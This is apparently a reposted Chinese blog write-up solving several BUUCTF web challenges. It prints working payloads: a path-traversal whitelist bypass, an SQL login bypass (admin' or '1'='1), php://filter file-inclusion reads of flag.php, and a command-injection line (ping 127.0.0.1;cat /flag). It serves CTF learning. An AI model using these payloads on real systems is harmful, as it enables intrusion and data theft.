其他分享
首页 > 其他分享> > BUUCTF

BUUCTF

作者:互联网

[HCTF 2018]WarmUp

过程

1.找源代码

右键查看源代码或者F12发现提示
在这里插入图片描述
看到还有一个hint.php,再访问一下
在这里插入图片描述

2.分析源代码
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

先看最后一段,只要满足这一段代码就能包含出我们想要的ffffllllaaaagggg文件,而这个if判断语句要求

1.值不为空
2.值为字符串
3.能够通过checkFile的验证

其实主要就是要求满足第3点,那再来分析checkFile

        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

首先说明将输入的参数传给page,然后声明了whitelist数组,第一个if语句判断page不存在或者page不为字符串

            if (in_array($page, $whitelist)) {
                return true;
            }

第二个if语句判断page参数是否为whitelist数组中的值,意思是参数只能是hint.php或者source.php

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

首先截断page中的值,这里截的是?前的值,然后判断page参数是否为whitelist数组中的值。

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }

这里先对page参数进行url编码,然后再截断,这里因为服务器也会解码一次,所以我们构造参数的时候直接编码了两次(但这里好像编码不编码都可以),构造

source.php?file=source.php?../../../../../ffffllllaaaagggg
index.php?file=hint.php?../../../../../ffffllllaaaagggg

在这里插入图片描述
在这里插入图片描述

[极客大挑战 2019]EasySQL

简单的sql注入,并不是和之间一样查所有信息才能得到flag,这里只要成功登陆就能得到flag

过程

输入admin尝试登陆
在这里插入图片描述
这里对username和password均要传入参数,尝试万能语句admin' or '1'='1
在这里插入图片描述

check.php?username=admin' or '1'='1&password=admin' or '1'='1

[极客大挑战 2019]Havefun

过程

进去啥也没有。查看右键源代码,发现提示


                <!--
        $cat=$_GET['cat'];
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';
        }
        -->

那就跟着直接传参?cat=dog
在这里插入图片描述
啊这,这种题真的存在吗?

[ACTF2020 新生赛]Include

过程

点开tips
在这里插入图片描述啥也没有,这里有两个想法,一种就是先扫目录然后再分析,一种就是尝试读源码,所以我们一遍扫一遍去读源码

php://filter/read=convert.base64-encode/resource=flag.php
php://filter 伪协议文件包含读取源代码,加上read=convert.base64-encode,用base64编码输出

没想到直接出来了一段base64代码
在这里插入图片描述
在这里插入图片描述

[极客大挑战 2019]Secret File

过程

打开查看源代码,发现一个网址
在这里插入图片描述
在这里插入图片描述
点击后出现
在这里插入图片描述那抓包看看中间有什么
在这里插入图片描述
在这里插入图片描述

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>

尝试file=flag.php

在这里插入图片描述

是不是一个读取源码的题?尝试

secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

得到神秘代码,进行base64解码

PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7Y2VmN2U2ODItMGJmNy00YjFiLWI4M2EtMGQyYjI4NDZlMTdlfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

在这里插入图片描述
得到flag与秘密

[ACTF2020 新生赛]Exec

过程

z
emmm怎么只有一个index页面,尝试直接cat一下flag

ping 127.0.0.1;cat /flag

在这里插入图片描述## [GXYCTF2019]Ping Ping Ping

标签:BUUCTF,..,whitelist,flag,file,php,page
来源: https://blog.csdn.net/weixin_54648419/article/details/118877689